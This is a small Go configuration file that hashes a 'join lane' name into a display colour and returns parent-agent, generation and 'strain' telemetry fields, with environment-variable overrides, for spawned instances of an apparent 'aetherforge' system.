package config

import (
	"crypto/sha256"
	"fmt"
	"os"
	"strconv"
	"strings"
)

// SpreadStrainFromJoinLane returns a stable #RRGGBB hex color for UI strain grouping.
// Not a signed key — informational telemetry only.
func SpreadStrainFromJoinLane(lane string) string {
	lane = strings.TrimSpace(strings.ToLower(lane))
	if lane == "" {
		return ""
	}
	sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
	return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
}

// GenealogyReport returns forge-baked spread watermark fields for auth/stats telemetry.
// Env overrides (AETHER_PARENT_AGENT_ID, AETHER_SPREAD_GENERATION) support spread-child
// launches without re-forge. Never used for authentication.
func (c RuntimeConfig) GenealogyReport(runtimeJoinLane string) (parentAgentID string, spreadGeneration int, spreadStrain string) {
	parentAgentID = strings.TrimSpace(c.ParentAgentID)
	if v := strings.TrimSpace(os.Getenv("AETHER_PARENT_AGENT_ID")); v != "" {
		parentAgentID = v
	}

	spreadGeneration = c.SpreadGeneration
	if v := strings.TrimSpace(os.Getenv("AETHER_SPREAD_GENERATION")); v != "" {
		if n, err := strconv.Atoi(v); err == nil && n >= 0 {
			spreadGeneration = n
		}
	}

	spreadStrain = strings.TrimSpace(c.SpreadStrain)
	if spreadStrain == "" {
		lane := strings.TrimSpace(runtimeJoinLane)
		if lane == "" {
			lane = strings.TrimSpace(c.BakedJoinLane)
		}
		spreadStrain = SpreadStrainFromJoinLane(lane)
	}
	return parentAgentID, spreadGeneration, spreadStrain
}